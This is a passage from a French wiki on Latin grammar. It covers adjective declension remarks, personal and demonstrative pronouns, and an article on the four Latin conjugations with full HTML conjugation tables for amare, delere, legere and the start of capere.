audac<b>es</b> | audac<b>ia</b> || veter<b>es</b> || veter<b>a</b> |----- ! Acc.&nbsp;pl. | acr<b>es</b> || acr<b>es</b> || acr<b>ia</b> | fort<b>es</b> || fort<b>ia</b> | prudent<b>es</b> || prudent<b>ia</b> || audac<b>es</b> | audac<b>ia</b> || veter<b>es</b> || veter<b>a</b> |----- ! Gén.&nbsp;pl. | acr<b>ium</b> || acr<b>ium</b> || acr<b>ium</b> | fort<b>ium</b> || fort<b>ium</b> || prudent<b>ium</b> | prudent<b>ium</b> || audac<b>ium</b> | audac<b>ium</b> || veter<b>um</b> || veter<b>um</b> |----- ! Dat.&nbsp;pl. | acr<b>ibus</b> || acr<b>ibus</b> || acr<b>ibus</b> | fort<b>ibus</b> || fort<b>ibus</b> || prudent<b>ibus</b> | prudent<b>ibus</b> || audac<b>ibus</b> | audac<b>ibus</b> | veter<b>ibus</b> || veter<b>ibus</b> |----- ! Abl.&nbsp;pl. | acr<b>ibus</b> || acr<b>ibus</b> || acr<b>ibus</b> | fort<b>ibus</b> || fort<b>ibus</b> || prudent<b>ibus</b> | prudent<b>ibus</b> || audac<b>ibus</b> | audac<b>ibus</b> | veter<b>ibus</b> || veter<b>ibus</b> |} Remarques : * Les adjectifs en ''-is'' comme ''fortis'' peuvent faire l'accusatif pluriel masculin ou féminin en ''-is'' au lieu de ''-es''. * L'ablatif singulier masculin ou féminin des parisyllabiques et faux imparisyllabiques est en ''-i'' au masculin et au féminin, et non en ''-e'' comme les modèles correspondant de la 3<sup>e</sup> déclinaison (sauf pour le modèle ''prudens'', ou il est en ''-e'' quand l'adjectif se rapporte à une personne et en ''-i'' quand il se rapporte à une chose). * Les participes présents actifs suivent le modèle ''prudens'', mais leur ablatif singulier masculin ou féminin est toujours en ''-e''. === Déclinaisons des pronoms et adjectifs pronominaux === Les pronoms personnels ont une déclinaison qui leur est propre. Les autres pronoms adjectifs suivent une déclinaison appelée pronominale qui a le génitif singulier en -ius et le datif singulier en -i. ==== Pronoms personnels ==== {| border |+ <font size="+1">Tableau des pronoms personnels</font> |----- |'''Nominatif''' |Ego |Tu |0 |Nos |Vos |0 |----- |'''Accusatif''' |Me |Te |Se |Nos |Vos |Se |----- |'''Génitif''' |Mei |Tui |Sui |Nostri/Nostrum |Vestri/vostrum |Sui |----- |'''Datif''' |Mihi |Tibi |Sibi |Nobis |Vobis |Sibi |----- |'''Ablatif''' |Me |Te |Se |Nobis |Vobis |Sibi |} ====Pronoms-adjectifs démonstratifs==== Il existe six types de démonstratifs : *trois qui correspondent aux personnes : **Hic, haec, hoc : démonstratif de la première personne ; **Iste, ista, istud, deuxième personne ; **Ille, illa, illud, troisième personne. *un démonstratif de rappel : is, ea, id. *deux démonstratifs d'insistance : **ipse, ipsa, ipsum : même ; **idem, eadem, idem : le même. Latin/Conjugaisons 50 45938 2006-06-26T20:02:03Z Guillaumito 46 [[Conjugaisons du latin]] déplacé vers [[Latin/Conjugaisons]]: politique de nommage Les [[conjugaison|conjugaisons]] [[latin|latines]] sont au nombre de 4. Il s'agit de groupes de verbes qui se conjuguent selon des règles communes. En [[latin]], les verbes ont, comme en [[français]], une [[voix active]] et une [[voix passive]]. Naturellement, seuls les verbes transitifs peuvent se conjuguer à la [[diathèse|voix passive]]. Il existe également des [[verbe déponent|verbes déponents]] et semi-déponents. Dans un dictionnaire, ils sont toujours décrits par cinq formes qui permettent de déduire toutes leurs autres formes conjuguées, à partir de trois [[radical (linguistique)|radicaux]] : * la première personne du [[singulier]] du [[présent (linguistique)|présent]] de l'[[indicatif]] * la deuxième personne du [[singulier]] du [[présent (linguistique)|présent]] de l'[[indicatif]] * l'[[infinitif]] [[présent (linguistique)|présent]] * la première personne du [[singulier]] du [[parfait]] de l'[[indicatif]] * le [[supin]] Les trois radicaux sont ceux : * de l'[[infinitif]] [[présent (linguistique)|présent]] * de l'[[indicatif]] [[parfait]] * du [[supin]] Les modes et temps suivants existent en latin: * [[diathèse|voix active]] ** [[indicatif]] *** [[présent (linguistique)|présent]] *** [[imparfait]] *** [[futur]] *** [[parfait]] *** [[plus-que-parfait]] *** [[futur antérieur]] ** [[subjonctif]] *** [[présent (linguistique)|présent]] *** [[imparfait]] *** [[parfait]] *** [[plus-que-parfait]] ** [[impératif]] *** [[présent (linguistique)|présent]] *** [[futur]] ** [[infinitif]] *** [[présent (linguistique)|présent]] *** [[parfait]] *** [[futur]] ** [[gérondif]] ** [[participe]] *** [[présent (linguistique)|présent]] *** [[futur]] ** [[supin]] * [[diathèse|voix passive]] ** [[indicatif]] *** [[présent (linguistique)|présent]] *** [[imparfait]] *** [[futur]] *** [[parfait]] *** [[plus-que-parfait]] *** [[futur antérieur]] ** [[subjonctif]] *** [[présent (linguistique)|présent]] *** [[imparfait]] *** [[parfait]] *** [[plus-que-parfait]] ** [[impératif]] *** [[présent (linguistique)|présent]] ** [[infinitif]] *** [[présent (linguistique)|présent]] *** [[parfait]] *** [[futur]] ** [[adjectif verbal]] ** [[participe]] *** [[parfait]] ===Les verbes déponents et semi-déponents=== Les [[verbe déponent|verbes déponents]] se conjuguent à la forme passive mais ont un sens actif. Comme aucune conjugaison de la forme passive n'utilise le [[radical (linguistique)|radical]] de l'[[indicatif]] [[parfait]], ces verbes n'ont donc que deux radicaux. Les verbes semi-déponents ont un sens actif, mais se conjuguent à la forme active aux temps construits sur le radical de l'[[indicatif]] [[présent (linguistique)|présent]] et à la forme passive aux autres temps (construits sur le radical du [[supin]]). Ils n'ont donc eux aussi que deux radicaux. Les verbes déponents utilisent la conjugaison active pour les temps qui n'existent pas au passif : [[gérondif]], [[supin]], [[participe]]s [[présent (linguistique)|présent]] et [[futur]], et aussi pour l'[[infinitif]] [[futur]]. L'[[adjectif verbal]] des verbes déponents a un sens passif. ===Les modèles de conjugaison=== * Le 1<sup>er</sup> groupe est celui de la conjugaison vocalique en ''-a''. On les reconnaît à leur infinitif présent en ''-are''. :Le modèle est : ''amo, amas, amare, amavi, amatum'' (aimer) * Le 2<sup>e</sup> groupe est celui de la conjugaison vocalique en ''-e''. On les reconnaît à leur première personne du singulier du présent de l'indicatif en ''-eo'' et leur infinitif présent en ''-ere''. :Le modèle est : ''deleo, deles, delere, delevi, deletum'' (détruire) * Le 3<sup>e</sup> groupe est celui des conjugaisons consonantiques. On les reconnaît à leur deuxième personne du singulier du présent de l'indicatif en ''-is'' et leur infinitif présent en ''-ere''. Certains d'entre eux sont caractérisés par un ''-i-'' qui s'intercale entre le radical de l'infinitif présent et certaines [[désinences]], par exemple à la première personne du singulier du présent de l'indicatif : ils forment le 3<sup>e</sup> groupe mixte. :Le premier modèle est : ''lego, legis, legere, legi, lectum'' (lire) :Le second modèle (3<sup>e</sup> groupe mixte) est : ''capio, capis, capere, cepi, captum'' (prendre) * Le 4<sup>e</sup> groupe est celui de la conjugaison vocalique en ''-i''. On les reconnaît à leur infinitif présent en ''-ire''. :Le modèle est : ''audio, audis, audire, audivi, auditum'' (entendre) * Il y a aussi quelques verbes irréguliers qui ne sont pas classés dans ces groupes: :''sum, es, esse, fui, - (être)'' et ses composés :''eo, is, ire, ivi, itum (aller)'' et ses composés :''volo, vis, velle, volui , - (vouloir)'' :''nolo, non vis, nolle, nolui , - (ne pas vouloir)'' :''malo, mavis, malle, malui , - (préférer)'' :''ferro, fers, ferre, tuli, latum (porter)'', dont la conjugaison est proche du 3<sup>e</sup> groupe, mais qui perd une voyelle intercalaire à certaines formes. Les différences entre les quatre groupes de conjugaison n'apparaissent que dans les temps conjugués sur le radical de l'infinitif présent. ===Les radicaux de conjugaison=== '''Le radical de l'infinitif présent''' s'obtient en enlevant à l'infinitif présent sa désinence ''-are'', ''-ere'' ou ''-ire''. Les verbes irréguliers en revanche peuvent avoir un radical changeant dans cette partie de la conjugaison. Ce radical sert à conjuguer: * l'indicatif présent, imparfait et futur actifs * le subjonctif présent et imparfait actifs * l'impératif présent et futur actifs * l'infinitif présent actif * le gérondif (actif) * le participe présent (actif) * l'indicatif présent, imparfait et futur passifs * le subjonctif présent et imparfait passifs * l'impératif présent passif * l'infinitif présent passif * l'adjectif verbal (passif) '''Le radical de l'indicatif parfait''' s'obtient en enlevant à la première personne du singulier de l'indicatif parfait sa désinence ''-i'': * ''amavi'' : ''amav-'' * ''delevi'' : ''delev-'' * ''legi'' : ''leg-'' * ''cepi'' : ''cep-'' * ''audivi'' : ''audiv-'' Ce principe est valable aussi pour les verbes irréguliers: * ''fui'' : ''fu-'' * ''ivi'' : ''iv-'' * ''volui'' : ''volu-'' * ''nolui'' : ''nolu-'' * ''malui'' : ''malu-'' * ''tuli'' : ''tul-'' Ce radical sert à conjuguer: * l'indicatif parfait, plus-que-parfait et futur antérieur actifs * le subjonctif parfait et plus-que-parfait actifs * l'infinitif parfait actif '''Le radical du supin''' s'obtient en enlevant au supin sa désinence ''-um'': * ''amatum'' : ''amat-'' * ''deletum'' : ''delet-'' * ''lectum'' : ''lect-'' * ''captum'' : ''capt-'' * ''auditum'' : ''audit-'' Ce principe est valable aussi pour les verbes irréguliers: * ''itum'' : ''it-'' * ''latum'' : ''lat-'' * ''esse'', ''velle'', ''nolle'', ''malle'' n'ont pas de supin et ont une conjugaison incomplète Ce radical sert à conjuguer: * le supin (actif) * l'infinitif futur actif * le participe futur (actif) * le participe parfait (passif) * l'indicatif parfait, plus-que-parfait et futur antérieur passifs * le subjonctif parfait et plus-que-parfait passifs * l'infinitif parfait et futur passifs ===Formes syncopées=== Dans les temps construits sur le radical de l'indicatif parfait, et lorsque celui-ci se finit en ''-av, -ev, -iv, -ov'', il peut y avoir chute d'une lettre ou d'une [[syllabe]] dans certains cas. * la syllabe ''-ve-'' tombe quand elle est suivie d'un ''r'' (seule la lettre ''v'' tombe si elle est précédée d'un ''i''). Exemples : ''amavero, delevero, audivero, novero'' peuvent devenir ''amaro, delero, audiero, noro'' * la syllabe ''-vi-'' tombe quand elle est suivie d'un ''s'' (la lettre ''v'' peut être la seule à tomber quand elle est précédée d'un ''i''). Exemples : ''amavisse, delevisse, audivisse, novisse'' peuvent devenir ''amasse, delesse, audisse (ou audiisse), nosse'' ===Tableaux de conjugaison=== <table border> <caption><font size="+1">1<sup>er</sup> groupe</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>o</b><td>am<b>abam</b><td>am<b>abo</b> <td>amav<b>i</b><td>amav<b>eram</b><td>amav<b>ero</b> <td>am<b>em</b><td>am<b>arem</b> <td>amav<b>erim</b><td>amav<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>as</b><td>am<b>abas</b><td>am<b>abis</b> <td>amav<b>isti</b><td>amav<b>eras</b><td>amav<b>eris</b> <td>am<b>es</b><td>am<b>ares</b> <td>amav<b>eris</b><td>amav<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>at</b><td>am<b>abat</b><td>am<b>abit</b> <td>amav<b>it</b><td>amav<b>erat</b><td>amav<b>erit</b> <td>am<b>et</b><td>am<b>aret</b> <td>amav<b>erit</b><td>amav<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>amus</b><td>am<b>abamus</b><td>am<b>abimus</b> <td>amav<b>imus</b><td>amav<b>eramus</b><td>amav<b>erimus</b> <td>am<b>emus</b><td>am<b>aremus</b> <td>amav<b>erimus</b><td>amav<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>atis</b><td>am<b>abatis</b><td>am<b>abitis</b> <td>amav<b>istis</b><td>amav<b>eratis</b><td>amav<b>eritis</b> <td>am<b>etis</b><td>am<b>aretis</b> <td>amav<b>eritis</b><td>amav<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>ant</b><td>am<b>abant</b><td>am<b>abunt</b> <td>amav<b>erunt</b><td>amav<b>erant</b><td>amav<b>erint</b> <td>am<b>ent</b><td>am<b>arent</b> <td>amav<b>erint</b><td>amav<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>am<b>a</b><td>am<b>ato</b><td rowspan=4>am<b>are</b><td rowspan=4>amav<b>isse</b><td rowspan=4>amat<b>urus esse</b><td rowspan=4>am<b>ans</b><td rowspan=4>amat<b>urus</b><th>Accusatif<td>am<b>andum</b><td>amat<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>am<b>ato</b><th>Génitif<td>am<b>andi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>am<b>ate</b><td>am<b>atote</b><th>Datif<td>am<b>ando</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>am<b>anto</b><th>Ablatif<td>am<b>ando</b><td>amat<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>or</b><td>am<b>abar</b><td>am<b>abor</b> <td>amat<b>us sum</b><td>amat<b>us eram</b><td>amat<b>us ero</b> <td>am<b>er</b><td>am<b>arer</b> <td>amat<b>us sim</b><td>amat<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>aris</b><td>am<b>abaris</b><td>am<b>aberis</b> <td>amat<b>us es</b><td>amat<b>us eras</b><td>amat<b>us eris</b> <td>am<b>eris</b><td>am<b>areris</b> <td>amat<b>us sis</b><td>amat<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>am<b>atur</b><td>am<b>abatur</b><td>am<b>abitur</b> <td>amat<b>us est</b><td>amat<b>us erat</b><td>amat<b>us erit</b> <td>am<b>etur</b><td>am<b>aretur</b> <td>amat<b>us sit</b><td>amat<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>amur</b><td>am<b>abamur</b><td>am<b>abimur</b> <td>amat<b>i sumus</b><td>amat<b>i eramus</b><td>amat<b>i erimus</b> <td>am<b>emur</b><td>am<b>aremur</b> <td>amat<b>i simus</b><td>amat<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>amini</b><td>am<b>abamini</b><td>am<b>abimini</b> <td>amat<b>i estis</b><td>amat<b>i eratis</b><td>amat<b>i eritis</b> <td>am<b>emini</b><td>am<b>aremini</b> <td>amat<b>i sitis</b><td>amat<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>am<b>antur</b><td>am<b>abantur</b><td>am<b>abuntur</b> <td>amat<b>i sunt</b><td>amat<b>i erant</b><td>amat<b>i erunt</b> <td>am<b>entur</b><td>am<b>arentur</b> <td>amat<b>i sint</b><td>amat<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>am<b>are</b><td rowspan=2>am<b>ari</b><td rowspan=2>amat<b>us esse</b><td rowspan=2>amat<b>um iri</b><td rowspan=2>amat<b>us</b><td rowspan=2>am<b>andus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>am<b>amini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''amare, amabare, amabere, amere, amarere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''amavere'' <table border> <caption><font size="+1">2<sup>e</sup> groupe</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>eo</b><td>del<b>ebam</b><td>del<b>ebo</b> <td>delev<b>i</b><td>delev<b>eram</b><td>delev<b>ero</b> <td>del<b>eam</b><td>del<b>erem</b> <td>delev<b>erim</b><td>delev<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>es</b><td>del<b>ebas</b><td>del<b>ebis</b> <td>delev<b>isti</b><td>delev<b>eras</b><td>delev<b>eris</b> <td>del<b>eas</b><td>del<b>eres</b> <td>delev<b>eris</b><td>delev<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>et</b><td>del<b>ebat</b><td>del<b>ebit</b> <td>delev<b>it</b><td>delev<b>erat</b><td>delev<b>erit</b> <td>del<b>eat</b><td>del<b>eret</b> <td>delev<b>erit</b><td>delev<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>emus</b><td>del<b>ebamus</b><td>del<b>ebimus</b> <td>delev<b>imus</b><td>delev<b>eramus</b><td>delev<b>erimus</b> <td>del<b>eamus</b><td>del<b>eremus</b> <td>delev<b>erimus</b><td>delev<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>etis</b><td>del<b>ebatis</b><td>del<b>ebitis</b> <td>delev<b>istis</b><td>delev<b>eratis</b><td>delev<b>eritis</b> <td>del<b>eatis</b><td>del<b>eretis</b> <td>delev<b>eritis</b><td>delev<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>ent</b><td>del<b>ebant</b><td>del<b>ebunt</b> <td>delev<b>erunt</b><td>delev<b>erant</b><td>delev<b>erint</b> <td>del<b>eant</b><td>del<b>erent</b> <td>delev<b>erint</b><td>delev<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>del<b>e</b><td>del<b>eto</b><td rowspan=4>del<b>ere</b><td rowspan=4>delev<b>isse</b><td rowspan=4>delet<b>urus esse</b><td rowspan=4>del<b>ens</b><td rowspan=4>delet<b>urus</b><th>Accusatif<td>del<b>endum</b><td>delet<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>del<b>eto</b><th>Génitif<td>del<b>endi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>del<b>ete</b><td>del<b>etote</b><th>Datif<td>del<b>endo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>del<b>ento</b><th>Ablatif<td>del<b>endo</b><td>delet<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>eor</b><td>del<b>ebar</b><td>del<b>ebor</b> <td>delet<b>us sum</b><td>delet<b>us eram</b><td>delet<b>us ero</b> <td>del<b>ear</b><td>del<b>erer</b> <td>delet<b>us sim</b><td>delet<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>eris</b><td>del<b>ebaris</b><td>del<b>eberis</b> <td>delet<b>us es</b><td>delet<b>us eras</b><td>delet<b>us eris</b> <td>del<b>earis</b><td>del<b>ereris</b> <td>delet<b>us sis</b><td>delet<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>del<b>etur</b><td>del<b>ebatur</b><td>del<b>ebitur</b> <td>delet<b>us est</b><td>delet<b>us erat</b><td>delet<b>us erit</b> <td>del<b>eatur</b><td>del<b>eretur</b> <td>delet<b>us sit</b><td>delet<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>emur</b><td>del<b>ebamur</b><td>del<b>ebimur</b> <td>delet<b>i sumus</b><td>delet<b>i eramus</b><td>delet<b>i erimus</b> <td>del<b>eamur</b><td>del<b>eremur</b> <td>delet<b>i simus</b><td>delet<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>emini</b><td>del<b>ebamini</b><td>del<b>ebimini</b> <td>delet<b>i estis</b><td>delet<b>i eratis</b><td>delet<b>i eritis</b> <td>del<b>eamini</b><td>del<b>eremini</b> <td>delet<b>i sitis</b><td>delet<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>del<b>entur</b><td>del<b>ebantur</b><td>del<b>ebuntur</b> <td>delet<b>i sunt</b><td>delet<b>i erant</b><td>delet<b>i erunt</b> <td>del<b>eantur</b><td>del<b>erentur</b> <td>delet<b>i sint</b><td>delet<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>del<b>ere</b><td rowspan=2>del<b>eri</b><td rowspan=2>delet<b>us esse</b><td rowspan=2>delet<b>um iri</b><td rowspan=2>delet<b>us</b><td rowspan=2>del<b>endus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>del<b>emini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''delere, delebare, delebere, deleare, delerere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''delevere'' <table border> <caption><font size="+1">3<sup>e</sup> groupe</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>o</b><td>leg<b>ebam</b><td>leg<b>am</b> <td>leg<b>i</b><td>leg<b>eram</b><td>leg<b>ero</b> <td>leg<b>am</b><td>leg<b>erem</b> <td>leg<b>erim</b><td>leg<b>issem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>is</b><td>leg<b>ebas</b><td>leg<b>es</b> <td>leg<b>isti</b><td>leg<b>eras</b><td>leg<b>eris</b> <td>leg<b>as</b><td>leg<b>eres</b> <td>leg<b>eris</b><td>leg<b>isses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>it</b><td>leg<b>ebat</b><td>leg<b>et</b> <td>leg<b>it</b><td>leg<b>erat</b><td>leg<b>erit</b> <td>leg<b>at</b><td>leg<b>eret</b> <td>leg<b>erit</b><td>leg<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>imus</b><td>leg<b>ebamus</b><td>leg<b>emus</b> <td>leg<b>imus</b><td>leg<b>eramus</b><td>leg<b>erimus</b> <td>leg<b>amus</b><td>leg<b>eremus</b> <td>leg<b>erimus</b><td>leg<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>itis</b><td>leg<b>ebatis</b><td>leg<b>etis</b> <td>leg<b>istis</b><td>leg<b>eratis</b><td>leg<b>eritis</b> <td>leg<b>atis</b><td>leg<b>eretis</b> <td>leg<b>eritis</b><td>leg<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>unt</b><td>leg<b>ebant</b><td>leg<b>ent</b> <td>leg<b>erunt</b><td>leg<b>erant</b><td>leg<b>erint</b> <td>leg<b>ant</b><td>leg<b>erent</b> <td>leg<b>erint</b><td>leg<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>leg<b>e</b><td>leg<b>ito</b><td rowspan=4>leg<b>ere</b><td rowspan=4>leg<b>isse</b><td rowspan=4>lect<b>urus esse</b><td rowspan=4>leg<b>ens</b><td rowspan=4>lect<b>urus</b><th>Accusatif<td>leg<b>endum</b><td>lect<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>leg<b>ito</b><th>Génitif<td>leg<b>endi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>leg<b>ite</b><td>leg<b>itote</b><th>Datif<td>leg<b>endo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>leg<b>unto</b><th>Ablatif<td>leg<b>endo</b><td>lect<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>or</b><td>leg<b>ebar</b><td>leg<b>ar</b> <td>lect<b>us sum</b><td>lect<b>us eram</b><td>lect<b>us ero</b> <td>leg<b>ar</b><td>leg<b>erer</b> <td>lect<b>us sim</b><td>lect<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>eris</b><td>leg<b>ebaris</b><td>leg<b>eris</b> <td>lect<b>us es</b><td>lect<b>us eras</b><td>lect<b>us eris</b> <td>leg<b>aris</b><td>leg<b>ereris</b> <td>lect<b>us sis</b><td>lect<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>leg<b>itur</b><td>leg<b>ebatur</b><td>leg<b>etur</b> <td>lect<b>us est</b><td>lect<b>us erat</b><td>lect<b>us erit</b> <td>leg<b>atur</b><td>leg<b>eretur</b> <td>lect<b>us sit</b><td>lect<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>imur</b><td>leg<b>ebamur</b><td>leg<b>emur</b> <td>lect<b>i sumus</b><td>lect<b>i eramus</b><td>lect<b>i erimus</b> <td>leg<b>amur</b><td>leg<b>eremur</b> <td>lect<b>i simus</b><td>lect<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>imini</b><td>leg<b>ebamini</b><td>leg<b>emini</b> <td>lect<b>i estis</b><td>lect<b>i eratis</b><td>lect<b>i eritis</b> <td>leg<b>amini</b><td>leg<b>eremini</b> <td>lect<b>i sitis</b><td>lect<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>leg<b>untur</b><td>leg<b>ebantur</b><td>leg<b>entur</b> <td>lect<b>i sunt</b><td>lect<b>i erant</b><td>lect<b>i erunt</b> <td>leg<b>antur</b><td>leg<b>erentur</b> <td>lect<b>i sint</b><td>lect<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>leg<b>ere</b><td rowspan=2>leg<b>i</b><td rowspan=2>lect<b>us esse</b><td rowspan=2>lect<b>um iri</b><td rowspan=2>lect<b>us</b><td rowspan=2>leg<b>endus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>leg<b>emini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''legere, legebare, legere, legare, legerere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''legere'' <table border> <caption><font size="+1">3<sup>e</sup> groupe mixte</font></caption> <tr><th><th colspan=10>VOIX ACTIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th> <th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>cap<b>io</b><td>cap<b>iebam</b><td>cap<b>iam</b> <td>cep<b>i</b><td>cep<b>eram</b><td>cep<b>ero</b> <td>cap<b>iam</b><td>cap<b>erem</b> <td>cep<b>erim</b><td>cep<b>issem</b> 